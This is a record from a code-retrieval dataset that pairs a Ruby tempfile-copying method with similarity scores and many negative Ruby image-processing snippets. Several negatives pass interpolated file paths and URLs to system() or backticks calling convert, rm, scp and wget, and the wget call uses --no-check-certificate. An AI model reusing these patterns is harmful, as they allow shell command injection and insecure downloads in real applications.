"0.62378687",
"0.6236458",
"0.6229077",
"0.62218773",
"0.6215892",
"0.62122357",
"0.6198443",
"0.618264",
"0.617985",
"0.6169012",
"0.6164269",
"0.61628824",
"0.61611354",
"0.6150291",
"0.6146547",
"0.6143659",
"0.613598",
"0.6130214",
"0.6129083",
"0.61264884",
"0.6125599",
"0.6118078",
"0.61162007",
"0.6114061",
"0.61122006",
"0.6095085",
"0.6094651",
"0.6092678",
"0.60919416",
"0.6090092",
"0.6088319",
"0.6078812",
"0.6076631",
"0.60651034",
"0.60599756",
"0.6057859",
"0.6057859",
"0.60547346",
"0.60533404",
"0.60466516",
"0.6046391",
"0.6039511",
"0.6036808",
"0.6036681",
"0.60341054",
"0.6033291",
"0.6031671",
"0.60302335",
"0.6029943",
"0.60227025",
"0.60192406",
"0.60174316",
"0.60167557",
"0.60116994",
"0.60114276",
"0.6009",
"0.6001361",
"0.6001264",
"0.59972745",
"0.5993379",
"0.59843606",
"0.59801",
"0.59788066",
"0.5970746",
"0.5962969",
"0.5961924",
"0.59617984",
"0.5958088",
"0.5956899",
"0.5953752",
"0.5948766",
"0.5947875",
"0.5946839",
"0.5941774",
"0.5932804",
"0.593271",
"0.59295136",
"0.5929432",
"0.5921339",
"0.59209716",
"0.59197605"
] |
0.0
|
-1
|
this method is lifted from image_processing gem copies the original image to a tempfile because we don't want to mess with the original
|
def _copy_to_tempfile(file)
args = [File.basename(file.path, ".*"), File.extname(file.path)] if file.respond_to?(:path)
tempfile = Tempfile.new(args || "image", binmode: true)
IO.copy_stream(file, tempfile.path)
file.rewind
tempfile
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tempfile\n @tempfile ||= ::Tempfile.new(filename, tempfile_path).tap do |t|\n t.close\n image.write(t.path)\n end\n end",
"def _copy_to_tempfile(file)\n args = [File.basename(file.path, \".*\"), File.extname(file.path)] if file.respond_to?(:path)\n tempfile = Tempfile.new(args || \"image\", binmode: true)\n IO.copy_stream(file, tempfile.path)\n file.rewind\n tempfile\n end",
"def adjust_image tempfile\n image = MiniMagick::Image.read tempfile\n\n if options[:h] && options[:w]\n image.crop \"#{options[:w]}x#{options[:h]}+#{options[:x]}+#{options[:y]}\"\n image.write tempfile\n end\n\n image\n end",
"def reset\n File.open(@input_path, \"rb\") do |f|\n begin\n tmp = Tempfile.new(\"minimagic\")\n tmp.binmode \n tmp.write(f.read)\n ensure\n tmp.close\n end \n @path = tmp.path\n end\n verify_image(@path)\n self\n end",
"def create_temp_with_image\n image, filename, content_type = create_image\n temp = TempImage.new\n temp.transaction do\n temp.image.attach(io: image, filename: filename, content_type: content_type) if temp.save\n end\n temp\n end",
"def save_to_temp_file\n result = true\n unless upload_temp_file\n\n # Image is supplied in a input stream. This can happen in a variety of\n # cases, including during testing, and also when the image comes in as\n # the body of a request.\n if upload_handle.is_a?(IO) || upload_handle.is_a?(StringIO) ||\n defined?(Unicorn) && upload_handle.is_a?(Unicorn::TeeInput)\n begin\n # Using an instance variable so the temp file lasts as long as\n # the reference to the path.\n @file = Tempfile.new(\"image_upload\")\n File.open(@file, \"wb\") do |write_handle|\n loop do\n str = upload_handle.read(16_384)\n break if str.to_s.empty?\n\n write_handle.write(str)\n end\n end\n # This seems to have problems with character encoding(?)\n # FileUtils.copy_stream(upload_handle, @file)\n self.upload_temp_file = @file.path\n self.upload_length = @file.size\n result = true\n rescue StandardError => e\n errors.add(:image,\n \"Unexpected error while copying attached file \" \\\n \"to temp file. Error class #{e.class}: #{e}\")\n result = false\n end\n\n # It should never reach here.\n else\n errors.add(:image, \"Unexpected error: did not receive a valid upload \" \\\n \"stream from the webserver (we got an instance of \" \\\n \"#{upload_handle.class.name}). Please try again.\")\n result = false\n end\n end\n result\n end",
"def with_tmp_img(img, *args)\n r = yield(img, *args)\n destroy_image(img)\n r\n end",
"def create_image_temp(base_filename='resize')\n # raise \"do i need this\"\n t_temp = Tempfile.new([base_filename, '.jpg'])\n img = yield; img.write(t_temp.path) if block_given?\n return img, t_temp\n end",
"def change_image(&block)\n yield image\n @tempfile = nil\n @uri = nil # Once transformed, all external sources are invalid.\n @blob = nil # Once transformed, we need to reset the data. Now the getter can lazily load the blob.\n @persistent = false\n self\n end",
"def image=(image)\n self.image.assign image.tempfile\n end",
"def image_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.create(another_image)\n\n end",
"def writable_image_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.createWritable(another_image)\n\n end",
"def photo=(temp_file)\n if temp_file.is_a?(Image)\n super(temp_file)\n else\n @temp_photo_file = temp_file\n end\n end",
"def convert_image_resource(path)\n puts(\"Updating and trimming image file '#{path}'\")\n image = MiniMagick::Image.open(path)\n image.combine_options do |co|\n co.fuzz(\"90%\") # color dissimilarity threshold to get all shadows, see https://github.com/fastlane/fastlane/pull/14199\n co.trim(\"+repage\") # `+repage` removes meta-data\n end\n image.write(path)\nend",
"def image_shallow_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.createShallow(another_image)\n\n end",
"def optimize_image_data(original_data)\n format = ImageMeta.format_for_data(original_data)\n return unless format\n Path.temp_file %W[image_optim .#{format}] do |temp|\n temp.binmode\n temp.write(original_data)\n temp.close\n\n if (result = optimize_image(temp.path))\n result.binread\n end\n end\n end",
"def tempfile; end",
"def tempfile; end",
"def convert_image_resource(path)\n puts(\"Updating and trimming image file '#{path}'\")\n image = MiniMagick::Image.open(path)\n image.combine_options do |co|\n co.fuzz(\"90%\") # color disimilarity threshold to get all shadows, see https://github.com/fastlane/fastlane/pull/14199\n co.trim(\"+repage\") # `+repage` removes meta-data\n end\n image.write(path)\nend",
"def tempfile\n ::Tempfile.new(filename, tempfile_path).tap do |tmp|\n tmp.binmode\n tmp.write(blob)\n tmp.close\n end\n end",
"def dup_src\n BufferedImage.new to_java.color_model, to_java.raster, true, nil\n end",
"def make_tempfile(input, options = {})\n tempfile = Tempfile.new('image-upload')\n tempfile.set_encoding(Encoding::BINARY) if tempfile.respond_to?(:set_encoding)\n tempfile.binmode\n buffer = \"\"\n while input.read(1024 * 4, buffer)\n entire_buffer_written_out = false\n while !entire_buffer_written_out\n written = tempfile.write(buffer)\n entire_buffer_written_out = written == Rack::Utils.bytesize(buffer)\n if !entire_buffer_written_out\n buffer.slice!(0 .. written - 1)\n end\n end\n end\n tempfile.rewind\n {:tempfile => tempfile}.merge(options)\n end",
"def process_image(tmp)\n random = 2 + rand(10**24-10)+10\n path =\"public/data/\"\n file = File.join(path, random.to_s + \"-\" + params[:image][:filename].original_filename)\n\t\n\t#check extencion\n\t\text = File.extname(file)\n \tif ext.upcase == \".JPG\"\n \t\textfinal = \".jpg\"\n \t\timagevalid = true\n \telsif ext.upcase == \".JPEG\"\n \t\textfinal = \".jpg\"\n \t\timagevalid = true\n \telsif ext.upcase == \".GIF\"\n \t\textfinal = \".gif\"\n \t\timagevalid = true\n \telsif ext.upcase == \".PNG\"\n \t\textfinal = \".png\"\n \t\timagevalid = true\n \tend\t\n \t\n if imagevalid == true \n\t\n #Subo la imagen original recibida\n FileUtils.cp tmp.path, file\n\t\n\tarchivo_final = uploadoriginal(file,path)\n\t\n\t#utilizo su nombre\n\tfilenamethumb = random.to_s + \"-\" + params[:image][:filename].original_filename\n\t#width desired / ancho deseado\n\tw = 150\n\t#function call / llamada a la funcion\n\thubermann_thumbnail(path, filenamethumb,w,square=true, bw=true, q=99)\n\thubermann_thumbnail(path, filenamethumb,w,square=true, bw=false, q=99)\n\t\n\t\n\tFileUtils.rm file\n\t\n\t\n\t@image.filename = archivo_final\n\t#end unless valid image\n\telse\n\t@image.filename = nil\n\n\tend\nend",
"def optimize_image!(original)\n original = ImagePath.new(original)\n if result = optimize_image(original)\n result.replace(original)\n true\n end\n end",
"def optimize_image!(original)\n original = ImagePath.new(original)\n if result = optimize_image(original)\n result.replace(original)\n true\n end\n end",
"def move_tmp_user_photo(resource)\n if resource.profile_photo!=\"\"\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore)\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo')\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n dir = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s)\n # CREATE THE DIRECTORY IF IT DOESNT EXIST\n Dir.mkdir(dir) unless File.exist?(dir)\n \n source_path = Rails.root.join('public', 'uploads', 'tmp', resource.profile_photo)\n random_token = Digest::SHA2.hexdigest(\"#{Time.now.utc}\").first(20)\n fileExt = File.extname(resource.profile_photo)\n imageName = resource.first_name.to_s.downcase+\"_\"+random_token+fileExt\n imageName = File.basename(imageName) \n imageName.sub(/[^\\w\\.\\-]/,'_')\n \n target_path = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, imageName)\n #target_path_small = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, \"small_\"+imageName)\n #target_path_large = Rails.root.join('public', 'uploads', resource.class.to_s.underscore, 'profile_photo', resource.id.to_s, \"large_\"+imageName)\n \n if File.exist?(\"#{Rails.root}/public/uploads/tmp/#{resource.profile_photo}\")\n File.rename source_path, target_path\n \n require 'mini_magick'\n \n ## crop image\n image = MiniMagick::Image.open(target_path)\n image.crop(\"#{params[:crop_w].to_s}X#{params[:crop_h].to_s}+#{params[:crop_x1].to_s}+#{params[:crop_y1].to_s}\")\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/\"+imageName.to_s\n \n ## resize the new cropped image\n buffer = StringIO.new(File.open(target_path,\"rb\") { |f| f.read })\n image = MiniMagick::Image.read(buffer)\n image.resize \"58X58\"\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/small_\"+imageName.to_s\n \n buffer = StringIO.new(File.open(target_path,\"rb\") { |f| f.read })\n image = MiniMagick::Image.read(buffer)\n image.resize \"215X215\"\n image.write \"public/uploads/user/profile_photo/\"+resource.id.to_s+\"/large_\"+imageName.to_s\n \n resource.profile_photo = imageName\n resource.save()\n end\n \n end\n end",
"def copy_offer_image_to_photo\n unless self.offer_image.nil?\n original_file = self.offer_image.url(:original)\n unless original_file.nil? \n original_file_path = \"#{RAILS_ROOT}/public#{original_file}\"\n if File.exists?(original_file_path)\n file = File.new(original_file_path)\n self.photo = file\n end\n end\n end\n end",
"def optimize_image!(original)\n original = Path.convert(original)\n return unless (result = optimize_image(original))\n result.replace(original)\n OptimizedPath.new(original, result.original_size)\n end",
"def process_image_enhenced\n file_name = \"#{Rails.root}/tmp/temp-#{self.id}.jpg\"\n\n open(file_name, 'wb') do |file|\n file << open(self.image_uncompressed.url).read\n end\n\n image = OpenCV::Cv::Mat.new\n image = OpenCV::Cv::imread file_name\n\n image.convertTo(image, -1, 1.4, 30)\n\n photo = OpenCV::Cv::imwrite \"#{Rails.root}/tmp/black_and_white-#{self.id}.png\", image\n\n file = File.open \"#{Rails.root}/tmp/black_and_white-#{self.id}.png\"\n\n self.image_enhenced = file\n\n begin\n self.save!\n rescue CarrierWave::ProcessingError => error\n raise error.cause\n end\n\n self.exam.check_for_enhenced\n end",
"def process\n result = Tempfile.new([\"\", self.extension])\n result.binmode\n begin\n parameters = []\n parameters << self.path\n if width and height\n parameters << case operation\n when '#' then \"-resize #{width}x#{height}^ -gravity center -extent #{width}x#{height}\"\n when '<' then \"-resize #{width}x#{height}\\\\<\"\n when '>' then \"-resize #{width}x#{height}\\\\>\"\n else \"-resize #{width}x#{height}\"\n end\n end\n parameters << \"-quality #{quality}\" if quality\n parameters << result.path\n parameters = parameters.join(\" \").squeeze(\" \")\n `convert #{parameters} #{redirect}`\n raise Errno::ENOENT if $?.exitstatus == 127\n rescue Errno::ENOENT\n raise \"command 'convert' not found: ensure ImageMagick is installed\"\n end\n unless $?.exitstatus == 0\n raise Attached::Processor::Error, \"must be an image file\"\n end\n return result\n end",
"def upload_thumb\n path = \"#{Rails.root}/tmp/#{id}_#{Process.pid}.png\"\n `convert #{@file.tempfile.path}[0] -scale 128x128 #{path}`\n\n if File.exists? path\n file_s3_obj_thumb.write(file: path, content_type: 'image/png')\n File.delete(path)\n end\n end",
"def save_raw_image(dest)\n execute!(\"cp #{@tempfile} #{dest}\")\n orig_user = `whoami`.strip\n execute!(\"chown #{orig_user} #{dest}\")\n end",
"def save_image!(rmagick_image, model_image_attr, tmp_filename='custom')\n t_custom = Tempfile.new([tmp_filename, '.jpg'])\n rmagick_image.write(t_custom.path)\n model_image_attr.store!(File.open(t_custom.path))\n send(\"write_#{model_image_attr.mounted_as}_identifier\")\n save # pretty sure we need to save the model\n t_custom\n end",
"def resize_image(img, size) \n # resize_image take size in a number of formats, we just want \n # Strings in the form of \"crop: WxH\" \n if (size.is_a?(String) && size =~ /^crop: (\\d*)x(\\d*)/i) || \n (size.is_a?(Array) && size.first.is_a?(String) && \n size.first =~ /^crop: (\\d*)x(\\d*)/i) \n img.crop_resized!($1.to_i, $2.to_i) \n # We need to save the resized image in the same way the \n # orignal does. \n self.temp_path = write_to_temp_file(img.to_blob) \n else \n super # Otherwise let attachment_fu handle it \n end \n end",
"def manipulate!(save_image = false)\n cache_stored_file! if !cached?\n @_gimage ||= ::GraphicsMagick::Image.new(current_path)\n @_gimage = yield(@_gimage)\n @_image.write(current_path) if save_image\n @_gimage\n rescue => e\n raise CarrierWave::ProcessingError.new(\"Failed to manipulate file! #{e}\")\n end",
"def modify(options)\n Rails.logger.debug \" Modifying #{options.inspect}\"\n \n if options[:size]\n tempfile = Tempfile.new(['watchmemake','.jpg'])\n ImageScience.with_image(@file.path) { |i| i.thumbnail(options[:size]) { |t| t.save tempfile.path }}\n else\n tempfile = @file\n end\n \n return tempfile\n end",
"def changestaffimage\n @staff = Staff.find_by(id: params[:id])\n @staff.update_attribute(:image , params[:staff][:image].original_filename)\n \n \n \n tmp = params[:staff][:image].tempfile\n #require 'ftools'\n file = File.join(\"app/assets/images\", params[:staff][:image].original_filename) # use public if you want\n FileUtils.cp tmp.path, file\n \n \n redirect_to \"/admin\"\nend",
"def move_original\n original_image = local_file_name(:original)\n unless File.rename(upload_temp_file, original_image)\n raise(SystemCallError.new(\"Try again.\"))\n end\n\n FileUtils.chmod(0o644, original_image)\n true\n rescue SystemCallError\n # Use Kernel.system to allow stubbing in tests\n unless Kernel.system(\"cp\", upload_temp_file, original_image)\n raise(:runtime_image_move_failed.t(id: id))\n end\n\n true\n end",
"def dup_src\n BufferedImage.new width, height, color_type\n end",
"def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 180,:height => 180})\n\n FileSystem.store(\n thumbnail_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end",
"def process\n @src ||= @original\n @dst ||= @original.temp_path\n\n return unless yield @src, @dst\n\n @result = @dst\n if @src == @original\n @src, @dst = @dst, nil\n else\n @src, @dst = @dst, @src\n end\n end",
"def fetch_image(host,old_file,new_file)\n\t`rm #{old_file}` \n\t`mv #{new_file} #{old_file}`\t\n\topen('assets/images/radar/new.png', 'wb') do |file|\n\t\tfile << open('host').read\n\tend\n\tnew_file\nend",
"def uploaded_file(filename, content_type = \"image/png\")\n t = Tempfile.new(filename)\n t.binmode\n path = File.join(RAILS_ROOT, \"spec\", \"images\", filename)\n FileUtils.copy_file(path, t.path)\n (class << t; self; end).class_eval do\n alias local_path path\n define_method(:original_filename) {filename}\n define_method(:content_type) {content_type}\n end\n return t\n end",
"def set_original\n if keep_original\n if size_o.blank?\n image = MiniMagick::Image.open(name)\n self.size_o = \"#{image.width}x#{image.height}\"\n end\n else\n self.size_o = ''\n end\nend",
"def covert(uploader)\n # image process\n unless (uploader.file.content_type =~ /image/).nil?\n if !jpep?(uploader.file)\n require \"mini_magick\"\n # covert to jpeg\n image = MiniMagick::Image.open(uploader.path)\n image.format(\"jpg\")\n uploader.cache!(File.open(image.path))\n image.destroy! # remove /tmp from MinMagick generate\n end\n end\n uploader\n end",
"def process_small_image\n small_image.encode!(:png).convert!('-resize 50x50 -gravity center -background none -extent 50x50')\n end",
"def covert(uploader)\n # image process\n unless (uploader.file.content_type =~ /image/).nil?\n if !jpep?(uploader.file)\n require \"mini_magick\"\n # covert to jpeg\n image = MiniMagick::Image.open(uploader.path)\n image.format(\"jpg\")\n uploader.cache!(File.open(image.path))\n image.destroy! # remove /tmp from MinMagick generate\n end\n end\n uploader\n end",
"def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create tiny thumbnail\n #\n #image = MiniMagick::Image.open(file_path)\n\n #ImageUtilities.reduce_to_with_image(\n # image,\n # {:width => 180,:height => 180})\n\n #FileSystem.store(\n # thumbnail_path,\n # open(image.path),\n # \"Content-Type\" => \"image/jpeg\",\n # \"Expires\" => 1.year.from_now.\n # strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create square thumbnail\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:white_200x200]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.gravity \"Center\"\n canvas.geometry \"200x200+0+0\"\n end\n\n FileSystem.store(\n square_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create blurred thumbnail\n #\n image = MiniMagick::Image.open(base.path)\n\n image.combine_options do |canvas|\n canvas.blur \"2.5x2.5\"\n end\n\n FileSystem.store(\n blur_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create giant thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 520,:height => 390})\n\n FileSystem.store(\n giant_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n\n # Create unit.\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_base]))\n overlay = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_overlay]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"Center\"\n canvas.geometry \"407x407+0+0\"\n end\n\n base = base.composite(overlay) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"NorthWest\"\n canvas.geometry \"54x54+447+19\"\n end\n\n FileSystem.store(\n unit_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end",
"def uploadoriginal(file,path)\n\text = File.extname(file)\n \tif ext.upcase == \".JPG\"\n \t\textfinal = \".jpg\"\n \telsif ext.upcase == \".JPEG\"\n \t\textfinal = \".jpg\"\n \telsif ext.upcase == \".GIF\"\n \t\textfinal = \".gif\"\n \telsif ext.upcase == \".PNG\"\n \t\textfinal = \".png\"\n \tend\t\n\t\t\n\t\t\n \t#nombre original de la imagen\n \tfilename_orig = File.basename(file, '.*')\n\n \t#remove white space in image name\n \tfilename_orig = filename_orig.gsub(\" \",\"-\")\n\n \twidth = 800\n\n \timage = Magick::Image.read(file).first\n\n \twidthimage = image.columns\n \theightimage = image.rows\n \theight = (width * heightimage) / widthimage\n \tthumbnail = image.thumbnail(width, height)\n\n\n \tfinalname = path + \"800-\" + filename_orig + extfinal\n \tq=99\n \tthumbnail.write(finalname){ self.quality = q }\n return filename_orig + extfinal\n \nend",
"def remove_tmp_image\n filename = self.image.instance['image_file_name']\n dir = 'public/system/tmp/'\n\n if File.exists?(dir + filename)\n FileUtils.rm(dir + filename)\n end\n end",
"def original\n \tobject.file.url(:large)\n end",
"def copy_offer_image_to_photo!\n self.copy_offer_image_to_photo\n self.save\n end",
"def reprocess_profile_pic\n profile_pic.assign(profile_pic)\n profile_pic.save\n #profile_pic.reprocess!\n end",
"def uploaded_file(photo)\n picture_file = \"#{photo[:tempfile].path}.jpg\"\n FileUtils.cp photo[:tempfile].path, picture_file\n File.new(picture_file, 'rb')\n end",
"def img\n return @img unless @img.nil?\n _pos = @_io.pos\n @_io.seek(ofs_img)\n @img = @_io.read_bytes(len_img)\n @_io.seek(_pos)\n @img\n end",
"def tempfile=(_arg0); end",
"def optimize_image(original)\n original = ImagePath.new(original)\n if workers = workers_for_image(original)\n result = nil\n ts = [original, original.temp_path]\n workers.each do |worker|\n if result && ts.length < 3\n ts << original.temp_path\n end\n if worker.optimize(*ts.last(2))\n result = ts.last\n if ts.length == 3\n ts[-2, 2] = ts[-1], ts[-2]\n end\n end\n end\n result\n end\n end",
"def optimize_image(original)\n original = ImagePath.new(original)\n if workers = workers_for_image(original)\n result = nil\n ts = [original, original.temp_path]\n workers.each do |worker|\n if result && ts.length < 3\n ts << original.temp_path\n end\n if worker.optimize(*ts.last(2))\n result = ts.last\n if ts.length == 3\n ts[-2, 2] = ts[-1], ts[-2]\n end\n end\n end\n result\n end\n end",
"def update_imagem(foto_64)\n foto_64 = \"data:image/jpeg;base64,#{foto_64}\"\n if foto_64 != \"\" && foto_64 != nil\n base_64_encoded_data = foto_64\n string_img = Base64.decode64(base_64_encoded_data['data:image/png;base64,'.length .. -1])\n File.open(\"#{Rails.root}/tmp/motorista2.jpg\", \"wb\") do |file| \n file.write(string_img)\n file.size\n self.imagem = file\n end\n end\n end",
"def test_image(photo)\n photo = File.expand_path(photo)\n path = photo.sub(/\\.jpe?g/i, '.copy.jpg')\n FileUtils.cp photo, path\n `automator -i #{path} #{Photoapp.gem_dir(\"lib/adjust-image.workflow\")}`\n\n Photo.new(path, logo, self).write(path)\n end",
"def save_tmp_file(upload_hash)\n\n tmp_dir = \"./public/tmp\"\n image = File.binread(upload_hash[\"image\"][:tempfile]) # open image file\n\n f = File.new \"#{tmp_dir}/#{upload_hash[\"image\"][:filename]}\", \"wb\"\n f.write(image)\n f.close if f\n\n puts \"save_tmp_file() - uploaded file saved to temp directory!\"\n url = save_file_to_s3_bucket(\"prototype-jv\", \"#{upload_hash[\"image\"][:filename]}\")\n\nend",
"def to_image\n # TODO: generate Image object from PatchedImage contents\n raise NotImplementedError\n end",
"def blob(arg)\r\n file MojoMagick::tempfile(arg)\r\n end",
"def get_timage_from_yd\n if (params['gid'].nil?)\n txt = \"\"\n else\n user = User.find_by_sql(\"select id, dh, yxmc, jm_tag,width,height from timage where id=#{params['gid']};\")\n dh,width,height = user[0]['dh'], user[0]['width'], user[0]['height']\n\n if !File.exists?(\"./dady/img_tmp/#{dh}/\")\n system\"mkdir -p ./dady/img_tmp/#{dh}/\" \n end\n \n convert_filename = \"./dady/img_tmp/#{dh}/\"+user[0][\"yxmc\"].gsub('$', '-').gsub('TIF','JPG').gsub('tif','JPG')\n local_filename = \"./dady/img_tmp/#{dh}/\"+user[0][\"yxmc\"].gsub('$', '-')\n\n if !File.exists?(local_filename)\n user = User.find_by_sql(\"select id, dh, yxmc, jm_tag from timage where id=#{params['gid']};\")\n im_data = get_image_by_gid(params['gid'])\n\n tmpfile = rand(36**10).to_s(36)\n ff = File.open(\"./tmp/#{tmpfile}\",'w')\n ff.write(im_data)\n ff.close\n puts \"./tmp/#{tmpfile} #{local_filename}\"\n if (user[0]['jm_tag'].to_i == 1)\n system(\"decrypt ./tmp/#{tmpfile} #{local_filename}\")\n else\n system(\"scp ./tmp/#{tmpfile} #{local_filename}\")\n end \n system(\"rm ./tmp/#{tmpfile}\")\n end\n \n system(\"convert '#{local_filename}' '#{convert_filename}'\")\n if (convert_filename.upcase.include?'JPG') || (convert_filename.upcase.include?'TIF') || (convert_filename.upcase.include?'TIFF') || (convert_filename.upcase.include?'JPEG') \n imagesize=FastImage.size convert_filename\n \n if imagesize[0].to_i > imagesize[1].to_i\n txt = \"/assets/#{convert_filename}?2\"\n else\n txt = \"/assets/#{convert_filename}?1\"\n end\n else\n txt = \"/assets/#{convert_filename}?2\"\n end\n archive= User.find_by_sql(\"select * from archive where dh='#{dh}';\")\n set_rz(archive[0]['mlh'],'','','','影像查看',params['userid'],user[0][\"yxmc\"],user[0][\"yxmc\"],dh)\n end\n render :text => txt\n end",
"def image\n @sys_image = resource_find(params[:id])\n uploaded_io = params[:file]\n _size = File.size(uploaded_io)\n write_resource(@sys_image, uploaded_io.read, \"ndz\")\n redirect_to(@sys_image) \n end",
"def post_conversion(original, tmp_output)\n # puts \"==== POST ====\"\n dirname = File.dirname(original)\n basename = File.basename(original, File.extname(original))\n real_output = File.join(dirname, basename + '.pdf')\n FileUtils.mv(tmp_output, real_output)\n # puts \"Copied #{tmp_output} to #{real_output}\"\n\n FileUtils.rm(tmp_filepath(original))\n # puts \"Deleted #{tmp_filepath(original)}\"\n end",
"def recreate_cropped_image\n if file.exists?\n img = ThumbMagick::Image.new(file.path('tocrop'))\n img.\n thumbnail(\"#{ (resize * 100).to_i }%\").\n crop(\"#{crop_w}x#{crop_h}\", crop_x, crop_y).\n write(file.path('cropped'))\n end \n end",
"def thumbnail!\n image.recreate_versions! if thumbnail_coordinates_changed?\n end",
"def close; @tempfile.close; end",
"def target\n img = Magick::ImageList.new(TARGET_FILE_NAME + FILE_SUFFIX)\n img = img.resize(NEW_TARGET_SIDE_LENGTH, NEW_TARGET_SIDE_LENGTH)\n img = img.quantize(COLOR_VARIATION, Magick::GRAYColorspace)\n img.write(TARGET_FILE_NAME + NEW_TARGET_NAME_SUFFIX + FILE_SUFFIX)\n img.destroy!\n end",
"def set_preview()\n temporal = get_random_dir()\n FileUtils::mkdir_p \"./temp/#{temporal}\"\n\n File.open(\"./temp/#{temporal}/#{@name}\", 'wb') do |f|\n f.write(Base64.decode64(@data))\n f.close\n end\n\n img = ImageList.new(\"./temp/#{temporal}/#{@name}\")\n width, height = 150, 150\n thumb = img.resize_to_fit(width, height)\n thumb.write(\"./temp/#{temporal}/thumb_#{@name}\")\n img.destroy!\n thumb.destroy!\n GC.start\n\n f_thumb = File.open(\"./temp/#{temporal}/thumb_#{@name}\", 'rb')\n thumb_s = f_thumb.read\n encoded_string = Base64.strict_encode64(thumb_s)\n f_thumb.close\n\n @preview = encoded_string\n\n FileUtils.rm_rf(Dir.glob('./temp/#{temporal}/*'))\n FileUtils.rm_rf('./temp/#{temporal}/')\n true\n end",
"def post(original_name)\n img = Magick::ImageList.new(original_name)\n if check? img\n element_name = ELEMENTS_PATH + File.basename(original_name)\n export(img, element_name)\n else\n File.delete original_name\n end\n img.destroy!\n end",
"def tempfile\n unless @tempfile\n @tempfile = Tempfile.new(binmode: true)\n @tempfile.write(@read || read_from(closest))\n @tempfile.open\n end\n @tempfile\n end",
"def copy(io, context)\n super\n if io.respond_to?(:path) && io.path && delete_raw? && context[:delete] != false\n begin\n File.delete(io.path)\n rescue Errno::ENOENT\n # file might already be deleted by the moving plugin\n end\n end\n end",
"def copy(destination)\n return unless @converted\n \n puts \"Generating #{Rails.root}/tmp/images/#{@full}\"\n puts \"Generating #{Rails.root}/tmp/images/#{@icon}\"\n \n FileUtils.cp(\"#{Rails.root}/tmp/images/#{@full}\", \n \"#{destination}/#{@full}\")\n puts \"Moving #{destination}/#{@full}\"\n \n FileUtils.chmod(0644, \"#{destination}/#{@full}\")\n FileUtils.cp(\"#{Rails.root}/tmp/images/#{@icon}\",\n \"#{destination}/#{@icon}\")\n puts \"Moving #{destination}/#{@icon}\"\n FileUtils.chmod(0644, \"#{destination}/#{@icon}\")\n end",
